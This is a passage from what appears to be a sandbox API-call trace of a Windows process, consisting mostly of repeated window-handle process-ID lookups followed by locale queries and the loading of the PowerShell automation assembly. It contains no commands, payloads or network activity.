(in: hWnd=0x1022e, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x920 [0139.420] GetLastError () returned 0x0 [0139.420] GetWindowThreadProcessId (in: hWnd=0x1022a, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x910 [0139.420] GetLastError () returned 0x0 [0139.420] GetWindowThreadProcessId (in: hWnd=0x10226, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x900 [0139.420] GetLastError () returned 0x0 [0139.421] GetWindowThreadProcessId (in: hWnd=0x10222, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x8f0 [0139.421] GetLastError () returned 0x0 [0139.421] GetWindowThreadProcessId (in: hWnd=0x1021e, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x8e0 [0139.421] GetLastError () returned 0x0 [0139.421] GetWindowThreadProcessId (in: hWnd=0x1021a, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x8d0 [0139.422] GetLastError () returned 0x0 [0139.422] GetWindowThreadProcessId (in: hWnd=0x10216, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x8c0 [0139.422] GetLastError () returned 0x0 [0139.422] GetWindowThreadProcessId (in: hWnd=0x10212, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x8b0 [0139.422] GetLastError () returned 0x0 [0139.423] GetWindowThreadProcessId (in: hWnd=0x1020e, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x8a0 [0139.423] GetLastError () returned 0x0 [0139.423] GetWindowThreadProcessId (in: hWnd=0x1020a, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x890 [0139.423] GetLastError () returned 0x0 [0139.423] GetWindowThreadProcessId (in: hWnd=0x10206, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x880 [0139.424] GetLastError () returned 0x0 [0139.424] GetWindowThreadProcessId (in: hWnd=0x10202, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x870 [0139.424] GetLastError () returned 0x0 [0139.424] GetWindowThreadProcessId (in: hWnd=0x101fe, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x860 [0139.424] GetLastError () returned 0x0 [0139.425] GetWindowThreadProcessId (in: hWnd=0x101fa, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x850 [0139.425] GetLastError () returned 0x0 [0139.425] GetWindowThreadProcessId (in: hWnd=0x101f6, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x840 [0139.425] GetLastError () returned 0x0 [0139.425] GetWindowThreadProcessId (in: hWnd=0x101f2, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x830 [0139.425] GetLastError () returned 0x0 [0139.426] GetWindowThreadProcessId (in: hWnd=0x101ee, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x820 [0139.426] GetLastError () returned 0x0 [0139.426] GetWindowThreadProcessId (in: hWnd=0x101ea, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x810 [0139.426] GetLastError () returned 0x0 [0139.426] GetWindowThreadProcessId (in: hWnd=0x101e6, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x6f0 [0139.426] GetLastError () returned 0x0 [0139.427] GetWindowThreadProcessId (in: hWnd=0x101e2, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x544 [0139.427] GetLastError () returned 0x0 [0139.427] GetWindowThreadProcessId (in: hWnd=0x101de, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x25c [0139.427] GetLastError () returned 0x0 [0139.427] GetWindowThreadProcessId (in: hWnd=0x101da, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x734 [0139.427] GetLastError () returned 0x0 [0139.428] GetWindowThreadProcessId (in: hWnd=0x101d6, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x5ac [0139.428] GetLastError () returned 0x0 [0139.428] GetWindowThreadProcessId (in: hWnd=0x101d2, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x6ec [0139.428] GetLastError () returned 0x0 [0139.428] GetWindowThreadProcessId (in: hWnd=0x101cc, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x7e0 [0139.428] GetLastError () returned 0x0 [0139.429] GetWindowThreadProcessId (in: hWnd=0x101c8, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x364 [0139.429] GetLastError () returned 0x0 [0139.429] GetWindowThreadProcessId (in: hWnd=0x101c2, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x564 [0139.429] GetLastError () returned 0x0 [0139.429] GetWindowThreadProcessId (in: hWnd=0x101be, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x31c [0139.429] GetLastError () returned 0x0 [0139.430] GetWindowThreadProcessId (in: hWnd=0x101ba, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x754 [0139.430] GetLastError () returned 0x0 [0139.430] GetWindowThreadProcessId (in: hWnd=0x101b6, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x694 [0139.430] GetLastError () returned 0x0 [0139.430] GetWindowThreadProcessId (in: hWnd=0x101b2, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x704 [0139.430] GetLastError () returned 0x0 [0139.431] GetWindowThreadProcessId (in: hWnd=0x101ae, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x248 [0139.431] GetLastError () returned 0x0 [0139.431] GetWindowThreadProcessId (in: hWnd=0x201a6, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x3b4 [0139.431] GetLastError () returned 0x0 [0139.431] GetWindowThreadProcessId (in: hWnd=0x101a8, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x790 [0139.431] GetLastError () returned 0x0 [0139.433] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x7e4 [0139.433] GetLastError () returned 0x0 [0139.433] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x7d0 [0139.433] GetLastError () returned 0x0 [0139.433] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x540 [0139.433] GetLastError () returned 0x0 [0139.434] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x640 [0139.434] GetLastError () returned 0x0 [0139.434] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x418 [0139.434] GetLastError () returned 0x0 [0139.434] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x7e8 [0139.435] GetLastError () returned 0x0 [0139.435] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x40c [0139.435] GetLastError () returned 0x0 [0139.435] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x174 [0139.435] GetLastError () returned 0x0 [0139.435] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x7c8 [0139.436] GetLastError () returned 0x0 [0139.436] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x79c [0139.436] GetLastError () returned 0x0 [0139.436] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x240 [0139.436] GetLastError () returned 0x0 [0139.436] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x20c [0139.437] GetLastError () returned 0x0 [0139.437] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x60c [0139.437] GetLastError () returned 0x0 [0139.437] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x78c [0139.437] GetLastError () returned 0x0 [0139.437] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x730 [0139.438] GetLastError () returned 0x0 [0139.438] GetWindowThreadProcessId (in: hWnd=0x3011e, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x6a4 [0139.438] GetLastError () returned 0x0 [0139.439] GetWindowThreadProcessId (in: hWnd=0x30158, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x4f0 [0139.439] GetLastError () returned 0x0 [0139.439] GetWindowThreadProcessId (in: hWnd=0x1014e, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x514 [0139.439] GetLastError () returned 0x0 [0139.439] GetWindowThreadProcessId (in: hWnd=0x1014c, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x50c [0139.439] GetLastError () returned 0x0 [0139.440] GetWindowThreadProcessId (in: hWnd=0x20142, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x514 [0139.440] GetLastError () returned 0x0 [0139.440] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x50c [0139.440] GetLastError () returned 0x0 [0139.440] GetWindowThreadProcessId (in: hWnd=0x1012e, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x514 [0139.440] GetLastError () returned 0x0 [0139.440] GetWindowThreadProcessId (in: hWnd=0x10124, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x4f0 [0139.441] GetLastError () returned 0x0 [0139.441] GetWindowThreadProcessId (in: hWnd=0x200d6, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x4f0 [0139.441] GetLastError () returned 0x0 [0139.441] GetWindowThreadProcessId (in: hWnd=0x200a8, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x58c [0139.441] GetLastError () returned 0x0 [0139.442] GetWindowThreadProcessId (in: hWnd=0x1010c, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x578 [0139.442] GetLastError () returned 0x0 [0139.442] GetWindowThreadProcessId (in: hWnd=0x10108, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x458 [0139.442] GetLastError () returned 0x0 [0139.442] GetWindowThreadProcessId (in: hWnd=0x10102, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x530 [0139.442] GetLastError () returned 0x0 [0139.443] GetWindowThreadProcessId (in: hWnd=0x50094, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x4ac [0139.443] GetLastError () returned 0x0 [0139.443] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x508 [0139.443] GetLastError () returned 0x0 [0139.443] GetWindowThreadProcessId (in: hWnd=0x10088, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x4ac [0139.443] GetLastError () returned 0x0 [0139.444] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x4f4 [0139.444] GetLastError () returned 0x0 [0139.444] GetWindowThreadProcessId (in: hWnd=0x1007c, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x4ac [0139.444] GetLastError () returned 0x0 [0139.444] GetWindowThreadProcessId (in: hWnd=0x1006a, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x4ac [0139.444] GetLastError () returned 0x0 [0139.444] GetWindowThreadProcessId (in: hWnd=0x20020, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x794 [0139.445] GetLastError () returned 0x0 [0139.445] GetWindowThreadProcessId (in: hWnd=0x10066, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x4ac [0139.445] GetLastError () returned 0x0 [0139.445] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x4ac [0139.445] GetLastError () returned 0x0 [0139.445] GetWindowThreadProcessId (in: hWnd=0x1004a, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x458 [0139.445] GetLastError () returned 0x0 [0139.446] GetWindowThreadProcessId (in: hWnd=0x20046, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x458 [0139.446] GetLastError () returned 0x0 [0139.446] GetWindowThreadProcessId (in: hWnd=0x30044, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x448 [0139.446] GetLastError () returned 0x0 [0139.446] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x778 [0139.446] GetLastError () returned 0x0 [0139.446] GetWindowThreadProcessId (in: hWnd=0x100f2, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x458 [0139.447] GetLastError () returned 0x0 [0139.447] GetWindowThreadProcessId (in: hWnd=0x3013e, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x538 [0139.447] GetLastError () returned 0x0 [0139.447] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x4ac [0139.447] GetLastError () returned 0x0 [0139.447] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x4ac [0139.447] GetLastError () returned 0x0 [0139.447] GetWindowThreadProcessId (in: hWnd=0x7010e, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x490 [0139.448] GetLastError () returned 0x0 [0139.448] GetWindowThreadProcessId (in: hWnd=0x10260, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x9e0 [0139.448] GetLastError () returned 0x0 [0139.448] GetWindowThreadProcessId (in: hWnd=0x1025c, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x9d0 [0139.448] GetLastError () returned 0x0 [0139.448] GetWindowThreadProcessId (in: hWnd=0x10258, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x9c0 [0139.448] GetLastError () returned 0x0 [0139.448] GetWindowThreadProcessId (in: hWnd=0x10254, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x9b0 [0139.449] GetLastError () returned 0x0 [0139.449] GetWindowThreadProcessId (in: hWnd=0x10250, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x9a0 [0139.449] GetLastError () returned 0x0 [0139.449] GetWindowThreadProcessId (in: hWnd=0x1024c, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x990 [0139.449] GetLastError () returned 0x0 [0139.449] GetWindowThreadProcessId (in: hWnd=0x10248, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x980 [0139.449] GetLastError () returned 0x0 [0139.449] GetWindowThreadProcessId (in: hWnd=0x10244, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x970 [0139.450] GetLastError () returned 0x0 [0139.450] GetWindowThreadProcessId (in: hWnd=0x10240, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x960 [0139.450] GetLastError () returned 0x0 [0139.450] GetWindowThreadProcessId (in: hWnd=0x1023c, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x950 [0139.450] GetLastError () returned 0x0 [0139.450] GetWindowThreadProcessId (in: hWnd=0x10238, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x940 [0139.450] GetLastError () returned 0x0 [0139.451] GetWindowThreadProcessId (in: hWnd=0x10234, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x930 [0139.451] GetLastError () returned 0x0 [0139.451] GetWindowThreadProcessId (in: hWnd=0x10230, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x920 [0139.451] GetLastError () returned 0x0 [0139.451] GetWindowThreadProcessId (in: hWnd=0x1022c, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x910 [0139.451] GetLastError () returned 0x0 [0139.451] GetWindowThreadProcessId (in: hWnd=0x10228, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x900 [0139.452] GetLastError () returned 0x0 [0139.452] GetWindowThreadProcessId (in: hWnd=0x10224, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x8f0 [0139.452] GetLastError () returned 0x0 [0139.452] GetWindowThreadProcessId (in: hWnd=0x10220, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x8e0 [0139.452] GetLastError () returned 0x0 [0139.452] GetWindowThreadProcessId (in: hWnd=0x1021c, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x8d0 [0139.452] GetLastError () returned 0x0 [0139.453] GetWindowThreadProcessId (in: hWnd=0x10218, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x8c0 [0139.453] GetLastError () returned 0x0 [0139.453] GetWindowThreadProcessId (in: hWnd=0x10214, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x8b0 [0139.453] GetLastError () returned 0x0 [0139.453] GetWindowThreadProcessId (in: hWnd=0x10210, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x8a0 [0139.453] GetLastError () returned 0x0 [0139.453] GetWindowThreadProcessId (in: hWnd=0x1020c, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x890 [0139.454] GetLastError () returned 0x0 [0139.454] GetWindowThreadProcessId (in: hWnd=0x10208, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x880 [0139.454] GetLastError () returned 0x0 [0139.454] GetWindowThreadProcessId (in: hWnd=0x10204, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x870 [0139.454] GetLastError () returned 0x0 [0139.454] GetWindowThreadProcessId (in: hWnd=0x10200, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x860 [0139.454] GetLastError () returned 0x0 [0139.454] GetWindowThreadProcessId (in: hWnd=0x101fc, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x850 [0139.455] GetLastError () returned 0x0 [0139.455] GetWindowThreadProcessId (in: hWnd=0x101f8, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x840 [0139.455] GetLastError () returned 0x0 [0139.455] GetWindowThreadProcessId (in: hWnd=0x101f4, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x830 [0139.455] GetLastError () returned 0x0 [0139.455] GetWindowThreadProcessId (in: hWnd=0x101f0, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x820 [0139.455] GetLastError () returned 0x0 [0139.455] GetWindowThreadProcessId (in: hWnd=0x101ec, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x810 [0139.456] GetLastError () returned 0x0 [0139.456] GetWindowThreadProcessId (in: hWnd=0x101e8, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x6f0 [0139.456] GetLastError () returned 0x0 [0139.456] GetWindowThreadProcessId (in: hWnd=0x101e4, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x544 [0139.456] GetLastError () returned 0x0 [0139.456] GetWindowThreadProcessId (in: hWnd=0x101e0, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x25c [0139.456] GetLastError () returned 0x0 [0139.457] GetWindowThreadProcessId (in: hWnd=0x101dc, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x734 [0139.457] GetLastError () returned 0x0 [0139.457] GetWindowThreadProcessId (in: hWnd=0x101d8, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x5ac [0139.457] GetLastError () returned 0x0 [0139.457] GetWindowThreadProcessId (in: hWnd=0x101d4, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x6ec [0139.457] GetLastError () returned 0x0 [0139.457] GetWindowThreadProcessId (in: hWnd=0x101d0, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x7e0 [0139.457] GetLastError () returned 0x0 [0139.458] GetWindowThreadProcessId (in: hWnd=0x101ca, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x364 [0139.458] GetLastError () returned 0x0 [0139.458] GetWindowThreadProcessId (in: hWnd=0x101c4, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x564 [0139.458] GetLastError () returned 0x0 [0139.458] GetWindowThreadProcessId (in: hWnd=0x101c0, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x31c [0139.458] GetLastError () returned 0x0 [0139.458] GetWindowThreadProcessId (in: hWnd=0x101bc, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x754 [0139.458] GetLastError () returned 0x0 [0139.459] GetWindowThreadProcessId (in: hWnd=0x101b8, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x694 [0139.459] GetLastError () returned 0x0 [0139.459] GetWindowThreadProcessId (in: hWnd=0x101b4, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x704 [0139.459] GetLastError () returned 0x0 [0139.459] GetWindowThreadProcessId (in: hWnd=0x101b0, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x248 [0139.459] GetLastError () returned 0x0 [0139.459] GetWindowThreadProcessId (in: hWnd=0x101ac, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x3b4 [0139.460] GetLastError () returned 0x0 [0139.460] GetWindowThreadProcessId (in: hWnd=0x101aa, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x790 [0139.460] GetLastError () returned 0x0 [0139.460] GetWindowThreadProcessId (in: hWnd=0x101a4, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x7e4 [0139.460] GetLastError () returned 0x0 [0139.460] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x7d0 [0139.460] GetLastError () returned 0x0 [0139.461] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x540 [0139.461] GetLastError () returned 0x0 [0139.461] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x640 [0139.461] GetLastError () returned 0x0 [0139.461] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x418 [0139.461] GetLastError () returned 0x0 [0139.461] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x7e8 [0139.462] GetLastError () returned 0x0 [0139.462] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x40c [0139.462] GetLastError () returned 0x0 [0139.462] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x174 [0139.462] GetLastError () returned 0x0 [0139.462] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x7c8 [0139.462] GetLastError () returned 0x0 [0139.462] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x79c [0139.462] GetLastError () returned 0x0 [0139.463] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x240 [0139.463] GetLastError () returned 0x0 [0139.463] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x20c [0139.463] GetLastError () returned 0x0 [0139.463] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x60c [0139.463] GetLastError () returned 0x0 [0139.463] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x78c [0139.463] GetLastError () returned 0x0 [0139.464] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x730 [0139.464] GetLastError () returned 0x0 [0139.464] GetWindowThreadProcessId (in: hWnd=0x40164, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x6a4 [0139.464] GetLastError () returned 0x0 [0139.464] GetWindowThreadProcessId (in: hWnd=0x10138, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x50c [0139.464] GetLastError () returned 0x0 [0139.464] GetWindowThreadProcessId (in: hWnd=0x10130, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x514 [0139.465] GetLastError () returned 0x0 [0139.465] GetWindowThreadProcessId (in: hWnd=0x10126, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x4f0 [0139.465] GetLastError () returned 0x0 [0139.465] GetWindowThreadProcessId (in: hWnd=0x10110, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x58c [0139.465] GetLastError () returned 0x0 [0139.465] GetWindowThreadProcessId (in: hWnd=0x1010a, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x458 [0139.465] GetLastError () returned 0x0 [0139.465] GetWindowThreadProcessId (in: hWnd=0x10086, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x4f4 [0139.466] GetLastError () returned 0x0 [0139.466] GetWindowThreadProcessId (in: hWnd=0x2002a, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x794 [0139.466] GetLastError () returned 0x0 [0139.466] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x458 [0139.466] GetLastError () returned 0x0 [0139.466] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x2be780 | out: lpdwProcessId=0x2be780) returned 0x778 [0139.466] GetLastError () returned 0x0 [0139.466] GetLastError () returned 0x0 [0139.473] WerSetFlags () returned 0x0 [0139.501] SetThreadPreferredUILanguages (in: dwFlags=0x100, pwszLanguagesBuffer=0x0, pulNumLanguages=0x0 | out: pulNumLanguages=0x0) returned 1 [0139.508] GetThreadPreferredUILanguages (in: dwFlags=0x38, pulNumLanguages=0x2beb5c, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x2beb58 | out: pulNumLanguages=0x2beb5c, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x2beb58) returned 1 [0139.508] GetThreadPreferredUILanguages (in: dwFlags=0x38, pulNumLanguages=0x2beb5c, pwszLanguagesBuffer=0x2cd3440, pcchLanguagesBuffer=0x2beb58 | out: pulNumLanguages=0x2beb5c, pwszLanguagesBuffer=0x2cd3440, pcchLanguagesBuffer=0x2beb58) returned 1 [0139.561] GetUserDefaultLocaleName (in: lpLocaleName=0x67b350, cchLocaleName=16 | out: lpLocaleName="en-US") returned 6 [0139.630] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x67b350, nSize=0x80 | out: lpBuffer="") returned 0x0 [0139.630] GetLastError () returned 0xcb [0139.642] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x67b350, nSize=0x80 | out: lpBuffer="") returned 0x0 [0139.643] GetLastError () returned 0xcb [0139.647] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x67b350, nSize=0x80 | out: lpBuffer="") returned 0x0 [0139.647] GetLastError () returned 0xcb [0139.677] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2be5cc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0139.677] GetLastError () returned 0xcb [0139.677] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2be5e8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0139.677] GetLastError () returned 0xcb 